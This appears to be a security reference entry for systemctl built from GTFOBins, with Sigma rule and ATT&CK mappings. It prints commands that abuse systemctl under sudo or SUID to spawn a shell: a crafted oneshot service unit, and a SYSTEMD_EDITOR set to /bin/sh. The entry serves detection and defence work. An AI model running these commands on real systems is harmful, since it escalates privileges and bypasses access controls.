Identifier / Programs / Linux and Unix
systemctl
Control the systemd system and service manager. Some subcommands such as disable, status, reboot, etc. have their own usage documentation. tldr-pages
GTFOBins shell 4 Sigma rules name it 2 ATT&CK techniques 3 documented commands
How systemctl is abused
shell T1059.004 Command and Scripting Interpreter: Unix Shell
edit
Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for systemctl.
3 documented commands
inherit unprivileged, with sudo, as SUID
systemctlshell with sudo, as SUID
It might happen that the service is not started with --now, in such cases it might be necessary to manually start it.
echo '[Service]
Type=oneshot
ExecStart=/path/to/command
[Install]
WantedBy=multi-user.target' >/path/to/temp-file.service
systemctl link /path/to/temp-file.service
systemctl enable --now /path/to/temp-file.serviceshell with sudo
echo /bin/sh >/path/to/temp-file
chmod +x /path/to/temp-file
SYSTEMD_EDITOR=/path/to/temp-file systemctl edit basic.targetNone of the 3 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for systemctl. The identifier reads the line of each that runs systemctl.